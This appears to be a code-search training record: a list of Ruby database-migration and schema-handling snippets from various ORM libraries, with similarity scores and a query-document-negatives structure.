"def undo_cleanup_concurrent_column_rename(table, old_column, new_column, type: nil, batch_column_name: :id)\n Gitlab::Database::QueryAnalyzers::RestrictAllowedSchemas.require_ddl_mode!\n\n setup_renamed_column(__callee__, table, new_column, old_column, type, batch_column_name)\n\n with_lock_retries do\n install_bidirectional_triggers(table, old_column, new_column)\n end\n end",
"def rename_column_concurrently(table, old_column, new_column, type: nil, batch_column_name: :id)\n Gitlab::Database::QueryAnalyzers::RestrictAllowedSchemas.require_ddl_mode!\n\n setup_renamed_column(__callee__, table, old_column, new_column, type, batch_column_name)\n\n with_lock_retries do\n install_bidirectional_triggers(table, old_column, new_column)\n end\n end",
"def up\n # Use self.class:: so constants are resolved in subclasses instead of this class.\n self.class::COLUMNS.each do |column|\n change_column_null(self.class::TABLE_NAME, column, false)\n end\n end",
"def standard_columns\n pset = %w[id created_at updated_at contactid user_id\n extra_log_type admin_id]\n\n # Only add in the master_id if the master is a foreign key, not a standard integer field\n # so that we treat the field correctly in comparisons of new - old\n pset << 'master_id' if master_fk?\n\n pset += [\"#{table_name.singularize}_table_id\", \"#{table_name.singularize}_id\"]\n pset\n end",
"def migrate\n DataMapper.auto_migrate!\n end",
"def real_column; end",
"def prefix_for_tables\n migration_version = ActiveRecord::Migrator.current_version\n end",
"def columns_default\n super + ['version']\n end",
"def migration_keys\n [:name, :limit, :precision, :unsigned, :scale, :default, :null]\n end",
"def update_schema\n create_table unless table_exists?\n (schema_columns - column_names).each { |column| ActiveRecord::Migration.add_column(table_name, column, :string) }\n (column_names - protected_columns - schema_columns).each { |column| ActiveRecord::Migration.remove_column(table_name, column) }\n end",
"def generate_migrations\n versions = []\n versions << generate_migration(\"create_users\", <<-EOF\nHanami::Model.migration do\n change do\n create_table :users do\n primary_key :id\n column :name, String\n end\n end\nend\nEOF\n)\n\n versions << generate_migration(\"add_age_to_users\", <<-EOF\nHanami::Model.migration do\n change do\n add_column :users, :age, Integer\n end\nend\nEOF\n)\n versions\n end",
"def recreate_column(name, schema, gen, options)\n if options[:single_pk] && schema_autoincrementing_primary_key?(schema)\n type_hash = options[:same_db] ? {:type=>schema[:db_type]} : column_schema_to_ruby_type(schema)\n [:table, :key, :on_delete, :on_update, :deferrable].each{|f| type_hash[f] = schema[f] if schema[f]}\n if type_hash == {:type=>Integer} || type_hash == {:type=>\"integer\"} || type_hash == {:type=>\"INTEGER\"}\n type_hash.delete(:type)\n elsif options[:same_db] && type_hash == {:type=>type_literal_generic_bignum_symbol(type_hash).to_s}\n type_hash[:type] = :Bignum\n end\n\n unless gen.columns.empty?\n type_hash[:keep_order] = true\n end\n\n if type_hash.empty?\n gen.primary_key(name)\n else\n gen.primary_key(name, type_hash)\n end\n else\n col_opts = if options[:same_db]\n h = {:type=>schema[:db_type]}\n if database_type == :mysql && h[:type] =~ /\\Atimestamp/\n h[:null] = true\n end\n if database_type == :mssql && schema[:max_length]\n h[:size] = schema[:max_length]\n end\n h\n else\n column_schema_to_ruby_type(schema)\n end\n type = col_opts.delete(:type)\n if col_opts.key?(:size) && col_opts[:size].nil?\n col_opts.delete(:size)\n if max_length = schema[:max_length]\n col_opts[:size] = max_length\n end\n end\n if schema[:generated]\n if options[:same_db] && database_type == :postgres\n col_opts[:generated_always_as] = column_schema_to_ruby_default_fallback(schema[:default], options)\n end\n else\n col_opts[:default] = if schema[:ruby_default].nil?\n column_schema_to_ruby_default_fallback(schema[:default], options)\n else\n schema[:ruby_default]\n end\n col_opts.delete(:default) if col_opts[:default].nil?\n end\n col_opts[:null] = false if schema[:allow_null] == false\n if table = schema[:table]\n [:key, :on_delete, :on_update, :deferrable].each{|f| col_opts[f] = schema[f] if schema[f]}\n col_opts[:type] = type unless type == Integer || type == 'integer' || type == 'INTEGER'\n gen.foreign_key(name, table, col_opts)\n else\n gen.column(name, type, col_opts)\n if [Integer, :Bignum, Float, BigDecimal].include?(type) && schema[:db_type] =~ / unsigned\\z/io\n gen.check(Sequel::SQL::Identifier.new(name) >= 0)\n end\n end\n end\n end",
"def functional_update_schema # abstract\n raise 'abstract'\n end",
"def setup_columns\n if inheritable?\n SimpleSet.new([primary_key, inheritance_column])\n else\n primary_key.blank? ? SimpleSet.new : SimpleSet.new([primary_key])\n end \n end",
"def export_columns\n self.entity_columns.select(\"name, description, ref_type, ref_name, col_type\").where(\"list_rank > 0 and name not in ('domain_id', 'creator_id', 'updater_id', 'created_at', 'updated_at')\").order(\"list_rank asc\")\n end",
"def clone_versioned_model(orig_model, new_model)\n self.class.versioned_columns.each do |col|\n new_model[col.name] = orig_model.send(col.name) if orig_model.has_attribute?(col.name)\n end\n\n clone_inheritance_column(orig_model, new_model)\n end",
"def migrate version = nil\n if @migrations\n schema = meta_schema\n version = __check_migration_version(version)\n __create_meta_data_table_for(schema)\n\n s = schema.first || schema.new(version: 0)\n unless s.version == version\n @migrations.sort_by { |migration| migration.version }.each do |m|\n m.migrate(:up) if s.version < m.version and m.version <= version\n\n if s.version >= m.version and m.version > version\n m.migrate(:down)\n else # Handle migrate(0)\n m.migrate(:down) if s.version >= m.version and version.zero?\n end\n end\n s.update_attribute :version, version\n end\n version = s.version\n end\n version\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def reference_columns(excluded_supertypes) #:nodoc:\n trace :columns, \"Reference Columns for #{name}\" do\n if is_table\n if isr = injected_surrogate_role\n ref_from = references_from.detect{|ref| ref.from_role == isr}\n [ActiveFacts::RMap::Column.new(ref_from)]\n else\n [ActiveFacts::RMap::Column.new(self_value_reference)]\n end\n else\n [ActiveFacts::RMap::Column.new]\n end\n end\n end",
"def columns\n super + [:extra_column]\n end",
"def columns_default\n super + ['creators','projects','version']\n end",
"def apply_alter_table_generator(name, generator)\n ops = generator.operations\n\n unless can_add_primary_key_constraint_on_nullable_columns?\n if add_pk = ops.find{|op| op[:op] == :add_constraint && op[:type] == :primary_key}\n ops = add_pk[:columns].map{|column| {:op => :set_column_null, :name => column, :null => false}} + ops\n end\n end\n\n apply_alter_table(name, ops)\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :add_column\n \"ALTER TABLE #{quote_schema_table(table)} ADD #{column_definition_sql(op)}\"\n when :drop_column\n \"ALTER TABLE #{quote_schema_table(table)} DROP #{column_definition_sql(op)}\"\n when :rename_column\n \"ALTER TABLE #{quote_schema_table(table)} ALTER #{quote_identifier(op[:name])} TO #{quote_identifier(op[:new_name])}\"\n when :set_column_type\n \"ALTER TABLE #{quote_schema_table(table)} ALTER #{quote_identifier(op[:name])} TYPE #{type_literal(op)}\"\n else\n super(table, op)\n end\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :add_column\n \"ALTER TABLE #{quote_schema_table(table)} ADD #{column_definition_sql(op)}\"\n when :rename_column\n \"SP_RENAME #{literal(\"#{quote_schema_table(table)}.#{quote_identifier(op[:name])}\")}, #{literal(op[:new_name].to_s)}, 'COLUMN'\"\n when :set_column_type\n \"ALTER TABLE #{quote_schema_table(table)} ALTER COLUMN #{quote_identifier(op[:name])} #{type_literal(op)}\"\n when :set_column_null\n sch = schema(table).find{|k,v| k.to_s == op[:name].to_s}.last\n type = {:type=>sch[:db_type]}\n type[:size] = sch[:max_chars] if sch[:max_chars]\n \"ALTER TABLE #{quote_schema_table(table)} ALTER COLUMN #{quote_identifier(op[:name])} #{type_literal(type)} #{'NOT ' unless op[:null]}NULL\"\n when :set_column_default\n \"ALTER TABLE #{quote_schema_table(table)} ADD CONSTRAINT #{quote_identifier(\"sequel_#{table}_#{op[:name]}_def\")} DEFAULT #{literal(op[:default])} FOR #{quote_identifier(op[:name])}\"\n else\n super(table, op)\n end\n end",
"def read_new_schema\n AssociatedRecord.reset_column_information\n DeeplyAssociatedRecord.reset_column_information\n\n AssociatedRecord.cached_primary_index.send(:instance_variable_set, :@cache_key_prefix, nil)\n Item.cached_primary_index.send(:instance_variable_set, :@cache_key_prefix, nil)\n end",
"def create_tables!\n migrate(:up)\n end",
"def migration_set_attribs\n tcs = table_comments || {}\n\n if view_sql&.strip&.present?\n view_sql_text = <<~VSTEXT\n self.view_sql = <<~VIEWSQL\n #{view_sql}\n VIEWSQL\n VSTEXT\n end\n\n <<~SETATTRIBS\n self.schema = '#{db_migration_schema}'\n self.table_name = '#{table_name}'\n self.class_name = '#{class_name}'\n self.fields = %i[#{migration_fields_array.join(' ')}]\n self.table_comment = '#{tcs[:table]}'\n self.fields_comments = #{(tcs[:fields] || {}).to_h}\n self.db_configs = #{(db_configs || {}).to_h}\n self.no_master_association = #{!!no_master_association}\n self.resource_type = :#{resource_type}\n self.all_referenced_tables = #{(all_referenced_tables || []).to_a}\n #{view_sql_text}\n SETATTRIBS\n end",
"def create_entity_columns\n entity = self.name.constantize\n entity.reset_column_information\n \n entity.columns.each_with_index do |column, i|\n f = self.entity_columns.detect{ |col| col.name == column.name }\n unless f\n f = self.entity_columns.build(:name => column.name)\n association = entity.reflect_on_all_associations(:belongs_to).detect{|a| a.options[:foreign_key] == column.name }\n association ||= entity.reflect_on_association column.name.sub(/_id$/, '').to_sym if column.name.ends_with? '_id'\n if association\n f.ref_type = :Entity.to_s\n f.ref_name = association.options[:polymorphic] ? 'POLYMORPHIC' : association.class_name\n end\n end\n \n f.term = \"label.#{column.name}\" unless f.term\n f.col_type = column.type.to_s\n f.col_size = column.limit if(column.respond_to?(:limit))\n f.nullable = column.null\n f.def_val = (column.default == nil) ? nil : column.default.to_s\n f.disp_rank = i * 10\n f.save!\n end\n\n uniq_index_def = ActiveRecord::Base.connection.indexes(entity.table_name).find { |index_def| index_def.unique == true }\n \n # unique ranks by getting unique index\n if(uniq_index_def)\n uniq_seq = 1\n uniq_index_def.columns.each do |uniq_col_name|\n column = self.entity_columns.where(\"name = ?\", uniq_col_name).first\n if(column)\n column.uniq_rank = uniq_seq * 10\n column.save!\n uniq_seq += 1\n end\n end\n end\n \n return self.entity_columns\n end",
"def orm_patches_applied; end",
"def columns(table_name, name = nil) end",
"def canonical_fields(table_def)\n table_def.fields.inject([]) do |fields, f|\n fields << SpreeMigrateDB::FieldDef.new(canonical_table_name(f.table), f.column, f.type, f.options)\n end\n end",
"def ignored_translation_table_colums(klass); end",
"def up\n rename_column TABLE_NAME, OLD_COLUMN_NAME, NEW_COLUMN_NAME\n end",
"def up\n rename_column TABLE_NAME, OLD_COLUMN_NAME, NEW_COLUMN_NAME\n end",
"def migrated_down(migration)\n column_family.delete({\n where: {\n version: migration.version.to_s,\n name: migration.name,\n },\n })\n end",
"def alter_table_sql(table, op)\n\t if op[:op] == :add_column\n subclause = \"ADD #{column_definition_sql(op)}\"\n else\n quoted_name = quote_identifier(op[:name]) if op[:name]\n case op[:op]\n when :set_column_type\n subclause = \"MODIFY #{quoted_name} #{type_literal(op)}\"\n when :set_column_default\n subclause = \"MODIFY #{quoted_name} DEFAULT #{literal(op[:default])}\"\n when :set_column_null\n subclause = \"MODIFY #{quoted_name} #{op[:null] ? 'NULL' : 'NOT NULL'}\"\n when :modify_constraint\n subclause = \"MODIFY #{constraint_definition_sql(op)}\"\n else\n\t return super(table, op)\n end\n end\n \"ALTER TABLE #{quote_schema_table(table)} #{subclause}\"\n\t end",
"def career_migration_data\n<<RUBY\nt.string :title\n t.string :position\n t.string :location\n t.text :description\n t.text :questions\n t.boolean :status,default: true\n\nRUBY\n end",
"def column_definitions(table_name)\n fields = query(<<~SQL, \"SCHEMA\")\n SELECT a.attname, format_type(a.atttypid, a.atttypmod),\n pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod,\n c.collname, NULL AS comment,\n #{supports_virtual_columns? ? 'attgenerated' : quote('')} as attgenerated,\n NULL as is_hidden\n FROM pg_attribute a\n LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n LEFT JOIN pg_type t ON a.atttypid = t.oid\n LEFT JOIN pg_collation c ON a.attcollation = c.oid AND a.attcollation <> t.typcollation\n WHERE a.attrelid = #{quote(quote_table_name(table_name))}::regclass\n AND a.attnum > 0 AND NOT a.attisdropped\n ORDER BY a.attnum\n SQL\n\n crdb_fields = crdb_column_definitions(table_name)\n\n # Use regex comparison because if a type is an array it will\n # have [] appended to the end of it.\n target_types = [\n /geometry/,\n /geography/,\n /interval/,\n /numeric/\n ]\n\n re = Regexp.union(target_types)\n fields.map do |field|\n dtype = field[1]\n field[1] = crdb_fields[field[0]][2].downcase if re.match(dtype)\n field[7] = crdb_fields[field[0]][1]&.gsub!(/^\\'|\\'?$/, '')\n field[9] = true if crdb_fields[field[0]][3]\n field\n end\n fields.delete_if do |field|\n # Don't include rowid column if it is hidden and the primary key\n # is not defined (meaning CRDB implicitly created it).\n if field[0] == CockroachDBAdapter::DEFAULT_PRIMARY_KEY\n field[9] && !primary_key(table_name)\n else\n false # Keep this entry.\n end\n end\n end",
"def initialize_schema_migrations_table_with_plugins\n sm_table = Goldberg::Migrator.schema_migrations_table_name\n \n unless tables.detect { |t| t == sm_table }\n create_table(sm_table, :id => false) do |schema_migrations_table|\n schema_migrations_table.column :plugin_name, :string, :null => false\n schema_migrations_table.column :version, :string, :null => false\n end\n add_index sm_table, [:plugin_name, :version], :unique => true,\n :name => 'unique_schema_migrations'\n \n # Backwards-compatibility: if we find schema_info, assume we've\n # migrated up to that point:\n si_table = ActiveRecord::Base.table_name_prefix + 'plugin_schema_info' +\n ActiveRecord::Base.table_name_suffix\n if tables.detect { |t| t == si_table }\n old_version = select_value(\"SELECT version FROM #{quote_table_name(si_table)} WHERE plugin_name=#{Goldberg::Migrator.plugin}\").to_i\n assume_migrated_upto_version(old_version)\n drop_table(si_table)\n end\n end\n end",
"def copy_bucket_maker_migration\n if behavior == :invoke && store_in == 'active_record' && active_recordable_exists?\n migration_template \"active_recordable_migration.rb\", \"db/migrate/create_#{ACTIVE_RECORDABLE.pluralize}\"\n end\n end",
"def create_versioned_table(create_table_options = {})\n # create version column in main table if it does not exist\n if !self.content_columns.find { |c| [version_column.to_s, 'lock_version'].include? c.name }\n self.connection.add_column table_name, version_column, :integer\n self.reset_column_information\n end\n\n return if connection.table_exists?(versioned_table_name)\n\n self.connection.create_table(versioned_table_name, create_table_options) do |t|\n t.column versioned_foreign_key, :integer\n t.column version_column, :integer\n end\n\n self.versioned_columns.each do |col|\n self.connection.add_column versioned_table_name, col.name, col.type,\n :limit => col.limit,\n :default => col.default,\n :scale => col.scale,\n :precision => col.precision\n end\n\n if type_col = self.columns_hash[inheritance_column]\n self.connection.add_column versioned_table_name, versioned_inheritance_column, type_col.type,\n :limit => type_col.limit,\n :default => type_col.default,\n :scale => type_col.scale,\n :precision => type_col.precision\n end\n\n self.connection.add_index versioned_table_name, versioned_foreign_key\n end",
"def change_table_with_versions(*args, &block)\n SchemaStatements.apply_versionable_option!(:change_table, self, *args, &block)\n end",
"def rename_columns(table_name, columns_old_new_create)\n temporary_table_name = \"#{table_name}_temp\"\n\n DataMapper::Transaction.new(adapter).commit do\n adapter.execute(\n \"ALTER TABLE #{quote table_name} \"\\\n \"RENAME TO #{quote temporary_table_name}\"\n )\n\n create_table table_name do\n columns_old_new_create.each do |_old, new, *options|\n column new, *options\n end\n end\n\n columns_old = columns_old_new_create.map { |c| quote c[0] }\n columns_new = columns_old_new_create.map { |c| quote c[1] }\n\n adapter.execute(\n \"INSERT INTO #{quote table_name}\" +\n \"(#{columns_new.join(',')}) \" +\n \"SELECT #{columns_old.join(',')} \" +\n \"FROM #{quote temporary_table_name}\")\n\n drop_table temporary_table_name\n end\n end",
"def table_name; \"gdo_module\"; end",
"def alter_table_generator_class\n Schema::AlterTableGenerator\n end",
"def rebuild(table); end",
"def extend_sql_avoiding_table_naming_clashes!(sql, addition)\r\n used_table_aliases = table_aliases_from_join_fragment(addition)\r\n old_table_aliases = table_aliases_from_join_fragment(sql)\r\n (used_table_aliases & old_table_aliases).each do |join_table_alias|\r\n i = 0\r\n begin\r\n i += 1\r\n new_alias = \"renamed_join_table_#{i}\"\r\n end until !used_table_aliases.include?(new_alias)\r\n convert_table_name_to_new_alias!(sql, join_table_alias, new_alias)\r\n end\r\n sql << \" #{addition} \"\r\n end",
"def table_name\n \"#{table_name_prefix}data_migrations#{table_name_suffix}\"\n end",
"def vendor_table\n update unless @vendor_table\n @vendor_table\n end",
"def migrate\n run_migrations pending_migrations, :up\n end",
"def field_changes\n table_name = if table_name_changed\n prev_table_name\n else\n self.table_name\n end\n\n begin\n cols = table_columns\n old_colnames = cols.map(&:name) - standard_columns\n old_colnames = old_colnames.reject { |f| f.index(/^embedded_report_|^placeholder_/) }\n rescue StandardError\n return\n end\n\n fields = migration_fields_array\n new_colnames = fields.map(&:to_s) - standard_columns\n\n added = new_colnames - old_colnames\n removed = old_colnames - new_colnames\n changed = {}\n db_configs.each do |k, v|\n current_type = cols.find { |c| c.name == k.to_s }&.type\n next unless v[:type] && current_type\n\n expected_type = v[:type]&.to_sym\n current_type = :timestamp if current_type == :datetime\n changed[k.to_s] = expected_type if current_type != expected_type\n end\n\n if belongs_to_model\n belongs_to_model_id = \"#{belongs_to_model}_id\"\n removed -= [belongs_to_model_id]\n end\n\n [added, removed, changed, old_colnames]\n end",
"def setup_db\n ActiveRecord::Schema.define(:version => 1) do\n create_table :users do |t|\n t.string :email, :limit => 255\n t.string :crypted_password, :limit => 255\n \n t.timestamps\n end\n end\n \n ActiveRecord::Schema.define(:version => 1) do\n create_table :labels do |t|\n t.string :type, :limit => 255\n t.string :system_label, :limit => 255\n t.string :label, :limit => 255\n \n t.timestamps\n end\n end\nend",
"def column_definitions(table_name) #:nodoc:\n pieces = table_name.split('.')\n \n if pieces.length == 1\n schema_name = 'public'\n table_name = pieces.last\n else\n schema_name, table_name = pieces.first, pieces.last\n end\n \n query <<-end_sql\n SELECT column_name, data_type, column_default, is_nullable\n FROM v_catalog.columns\n WHERE table_schema = '#{schema_name.gsub(/(^\"|\"$)/,'')}'\n AND table_name = '#{table_name.gsub(/(^\"|\"$)/,'')}'\n end_sql\n end",
"def test_change_column_null\n testing_table_with_only_foo_attribute do\n notnull_migration = Class.new(ActiveRecord::Migration::Current) do\n def change\n change_column_null :testings, :foo, false\n end\n end\n notnull_migration.new.suppress_messages do\n notnull_migration.migrate(:up)\n assert_equal false, connection.columns(:testings).find { |c| c.name == \"foo\" }.null\n notnull_migration.migrate(:down)\n assert connection.columns(:testings).find { |c| c.name == \"foo\" }.null\n end\n end\n end",
"def new_table_name=(name)\n @new_table_name = \"layer_table_#{name}\"\n end",
"def alter_table(name, *)\n super\n remove_cached_schema(name)\n nil\n end",
"def revise_table\n name = @table_extension.name\n @table_extension.extended.each do |method_name|\n define_extension_setter(name, method_name)\n define_extension_getter(name, method_name)\n define_extension_dirty(name, method_name)\n end\n @table_extension.mirrored.each do |method_name|\n define_extension_mirror_setter(name, method_name)\n end\n true\n end",
"def generate!\n table_attributes = resource.table_attributes\n model_attributes = resource.model_attributes\n\n table_keys = table_attributes.keys\n model_keys = model_attributes.keys\n\n # Create table\n if table_keys.blank?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: create table\"\n return rails_migrate(\"create_#{resource.plural_name}\", model_attributes)\n end\n\n # Fields are not in database, but present in model.rb\n if(add_keys = (model_keys - table_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: add #{add_keys.to_sentence}\"\n rails_migrate(\"add_ATTRIBUTES_to_#{resource.plural_name}\", model_attributes.slice(*add_keys))\n end\n\n # Fields are in database, but no longer in our effective_resource do block\n if (remove_keys = (table_keys - model_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: remove #{remove_keys.to_sentence}\"\n rails_migrate(\"remove_ATTRIBUTES_from_#{resource.plural_name}\", table_attributes.slice(*remove_keys))\n end\n end",
"def table\n Identity\n end",
"def table\n Identity\n end",
"def copy_migrations\n # Can't get this any more DRY, because we need this order.\n better_migration_template \"create_searches.rb\"\n better_migration_template \"create_bookmarks.rb\"\n better_migration_template \"remove_editable_fields_from_bookmarks.rb\"\n better_migration_template \"add_user_types_to_bookmarks_searches.rb\"\n end",
"def up\n change_column(:my_table, :my_columnn, :new_type)\nend",
"def alter(field)\n sql = build_sql(field)\n execute(sql)\nend",
"def columns\n Proc.new do\n <<-SQL\n id integer primary key autoincrement,\n sample_id integer, --foreign key to reference the original revision\n \n --these are all true contemporaneous of the edit, post or pre-edit may be different\n account_creation timestamp(20), --this should be the entry in the logevents call, but if we exceed the max number of requests, we won't get it\n account_lifetime integer, --this is the lifetime of the account in seconds\n edits_last_second integer, --want a figure to show recent activity do buckets instead\n edits_last_minute integer,\n edits_last_hour integer,\n edits_last_day integer,\n edits_last_week integer,\n edits_last_month integer,\n edits_last_year integer,\n total_edits integer,\n --rights_grant_count \n --rights_removal_count\n --groups string,\n FOREIGN KEY(sample_id) REFERENCES irc_wikimedia_org_en_wikipedia(id) --these foreign keys probably won't be enforced b/c sqlite doesn't include it by default--TODO this foreign table name probably shouldn't be hard coded\nSQL\n end\n end",
"def migrate!\n Migrator.migrate(name)\n end",
"def migrate!\n Migrator.migrate(name)\n end",
"def create_table_structure(columns_to_include)\n if @table_created\n @columns.each do |column|\n begin\n ActiveRecord::Schema.add_column(@new_table_name, column[:name], column[:type]) if (columns_to_include.blank? or columns_to_include.include? column[:name])\n rescue\n puts \"Couldnt add field #{column[:name].downcase}\"\n end\n end\n ActiveRecord::Schema.add_column(@new_table_name,\"the_geom\", :geometry,:null => false)\n ActiveRecord::Schema.add_index(@new_table_name,\"the_geom\",:spatial => true)\n end\n end",
"def create_table_structure(columns_to_include)\n if @table_created\n @columns.each do |column|\n begin\n ActiveRecord::Schema.add_column(@new_table_name, column[:name], column[:type]) if (columns_to_include.blank? or columns_to_include.include? column[:name])\n rescue\n puts \"Couldnt add field #{column[:name].downcase}\"\n end\n end\n ActiveRecord::Schema.add_column(@new_table_name,\"the_geom\", :geometry,:null => false)\n ActiveRecord::Schema.add_index(@new_table_name,\"the_geom\",:spatial => true)\n end\n end",
"def proxy_columns(columns)\n columns.each do |column|\n if (type = column_type(column.type)).present?\n # When setting the default value, note that +main_instance+ might be nil, so we have to use +try+\n attribute column.name, type, default: proc { |f| f.main_instance.try(column.name) }\n end\n end\n end",
"def migrate(version = nil)\n ActiveRecord::ConnectionAdapters::SchemaStatements.class_eval do\n include Goldberg::SchemaStatements\n end\n\n version && (version = version.to_i)\n super(\"#{RAILS_ROOT}/vendor/plugins/#{plugin_name}/db/migrate\", version)\n end",
"def reference_columns(excluded_supertypes) #:nodoc:\n trace :columns, \"Reference Columns for #{name}\" do\n\n if absorbed_via and\n # If this is not a subtype, or is a subtype that has its own identification, use the id.\n (all_type_inheritance_as_subtype.size == 0 ||\n all_type_inheritance_as_subtype.detect{|ti| ti.provides_identification })\n rc = absorbed_via.from.reference_columns(excluded_supertypes)\n # The absorbed_via reference gets skipped here, and also in object_type.rb\n trace :columns, \"Skipping #{absorbed_via}\"\n absorbed_mirror ||= absorbed_via.reversed\n rc.each{|col| col.prepend(absorbed_mirror)}\n return rc\n end\n\n # REVISIT: Should have built preferred_identifier_references\n preferred_identifier.role_sequence.all_role_ref.map do |role_ref|\n # REVISIT: Should index references by to_role:\n ref = references_from.detect {|ref| ref.to_role == role_ref.role}\n\n raise \"reference for role #{role_ref.describe} not found on #{name} in #{references_from.size} references:\\n\\t#{references_from.map(&:to_s)*\"\\n\\t\"}\" unless ref\n\n ref.columns({})\n end.flatten\n end\n end",
"def migrations\n raise(ArgumentError, \"Can't set migrations while using :version option\") if @using_deprecated_version_setting\n yield\n end",
"def right_table; table_sync.right_table; end",
"def auto_migrate!\n DataMapper.auto_migrate!(name)\n end",
"def columns(table_name, *rest)\n @table.fields.map {|s| ::ActiveRecord::ConnectionAdapters::Column.new(s.to_s, nil, String)}\n end",
"def migrate!(opts)\n raise NotSupportedError, \"Unable to migrate using `#{self}`\"\n end",
"def migration_railties; end",
"def migration_railties; end",
"def column_definitions(table_name)\r\n query <<-end_sql\r\n SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull, c.consrc\r\n FROM pg_attribute a LEFT JOIN pg_attrdef d\r\n ON a.attrelid = d.adrelid AND a.attnum = d.adnum\r\n LEFT JOIN pg_constraint c ON a.attrelid = c.conrelid AND \r\n c.contype = 'c' AND c.conkey[1] = a.attnum\r\n WHERE a.attrelid = '#{table_name}'::regclass\r\n AND a.attnum > 0 AND NOT a.attisdropped\r\n ORDER BY a.attnum\r\n end_sql\r\n end",
"def migrations\n rake 'admin:install:migrations'\n rake 'db:migrate SCOPE=admin'\n end",
"def create_side_table\n RailsRedshiftReplicator.connection.exec \"CREATE TABLE #{temporary_table_name} (LIKE #{replication.target_table})\"\n end",
"def save_columns!\n # NetzkeFieldList.update_list_for_current_authority(global_id, columns(false), original_data_class.name) if persistent_config_enabled?\n end",
"def requires_table_name_for_update\n true\n end",
"def up\n create_table TABLE_NAME do |t|\n #\n # Single Table Inheritance (STI)\n #\n\n t.string :type\n\n #\n # Columns\n #\n\n t.datetime :real_path_modified_at, null: false\n t.string :real_path_sha1_hex_digest, limit: 40, null: false\n t.text :relative_path, null: false\n\n #\n # References\n #\n\n t.references :parent_path, null: false\n end\n\n change_table TABLE_NAME do |t|\n #\n # Foreign Key Indices\n #\n\n t.index :parent_path_id\n\n #\n # Unique Indices\n #\n\n t.index :real_path_sha1_hex_digest, unique: true\n # relative_path is unique because all parent_paths must be able to be unified.\n t.index :relative_path, unique: true\n end\n end",
"def db_column_func(&block)\n new_structure = self.class.db_structure\n\n yield(new_structure)\n self.class.update_db(new_structure)\n new_structure\n end",
"def on_table?; @on_table; end",
"def rebuild_model options = {}\n ActiveRecord::Base.connection.create_table :dummies, :force => true do |table|\n table.string :in_the_clear\n table.binary :secret\n table.binary :secret_key\n table.binary :secret_iv\n table.binary :segreto\n end\n rebuild_class options\nend",
"def default_columns\n#\t\t%w( id case_icf_master_id mother_icf_master_id icf_master_id \n\t\t%w( id case_icf_master_id mother_icf_master_id icf_master_id \n\t\t\tsubject_type vital_status sex dob \n\t\t\tfirst_name last_name)\n\tend",
"def columns(table_name, name = nil) #:nodoc:\r\n table_structure(table_name).map do |field|\r\n AdvantageColumn.new(strip_or_self(field['COLUMN_NAME']), field['COLUMN_DEF'], strip_or_self(field['TYPE_NAME']), field['NULLABLE'])\r\n end\r\n end",
"def schema_meta_structure\n CreateVersionsTableQuery.new.to_cql\n end"
] |
[
"0.6582506",
"0.65718144",
"0.653978",
"0.6377208",
"0.6278301",
"0.62083524",
"0.60775244",
"0.6057428",
"0.6054347",
"0.5986368",
"0.59836257",
"0.59364605",
"0.5905627",
"0.5899781",
"0.5884367",
"0.5815972",
"0.581597",
"0.57909745",
"0.5752801",
"0.57502824",
"0.5742289",
"0.56925833",
"0.5687912",
"0.5674298",
"0.56728166",
"0.5647529",
"0.5645812",
"0.5645812",
"0.5645812",
"0.5613291",
"0.55998695",
"0.5591899",
"0.5580811",
"0.55765057",
"0.5559182",
"0.5557271",
"0.55475837",
"0.55369043",
"0.5536007",
"0.5528234",
"0.55165505",
"0.55091804",
"0.55070436",
"0.5501308",
"0.5501308",
"0.5499892",
"0.5498457",
"0.54859084",
"0.54645985",
"0.5461181",
"0.54554516",
"0.54537433",
"0.545163",
"0.54478204",
"0.5443119",
"0.54347825",
"0.54343706",
"0.54325104",
"0.5430961",
"0.54290795",
"0.5416834",
"0.54155034",
"0.54125667",
"0.54081064",
"0.540728",
"0.54003793",
"0.5397898",
"0.5395757",
"0.53929734",
"0.5392571",
"0.5392571",
"0.5373596",
"0.53702384",
"0.5368111",
"0.5363457",
"0.5361913",
"0.5361686",
"0.5351502",
"0.5351502",
"0.5345768",
"0.53448105",
"0.5342398",
"0.5337077",
"0.5335912",
"0.53352076",
"0.5326026",
"0.5319026",
"0.53151953",
"0.53151953",
"0.5314248",
"0.53091294",
"0.5303931",
"0.52937984",
"0.5293225",
"0.5290846",
"0.5273048",
"0.5266449",
"0.5265451",
"0.5250469",
"0.5249368",
"0.5236268"
] |
0.0
|
-1
|
MIGRATION use separate table over columns in same table Accessors for backward compatibility
|
def payment_gateway_options=(hash)
gateway_setting.gateway_settings = hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def migrate\n raise NotImplementedError\n end",
"def migrate\n db.create_table? table_name do\n primary_key :id\n String :ptype\n String :v0\n String :v1\n String :v2\n String :v3\n String :v4\n String :v5\n end\n end",
"def migrate\n ActiveRecord::Schema.define do\n self.verbose = true # or false\n\n enable_extension \"plpgsql\"\n #enable_extension \"pgcrypto\"\n\n create_table(:access_lines, force: true) do |t|\n t.string :line, null: false\n t.datetime :timestamp, null: false\n t.string :username, null: false\n t.string :peer_id, null: false\n end\n\n # A backup for the uniqueness validation in AccessLine\n add_index :access_lines, [:timestamp, :username], unique: true\n end\n end",
"def migration\n end",
"def migrated_up(migration)\n column_family.insert({\n data: {\n version: migration.version.to_s,\n name: migration.name,\n migrated_at: Time.now.utc,\n },\n })\n end",
"def migrate(_key, _options); end",
"def migrate(key, options); end",
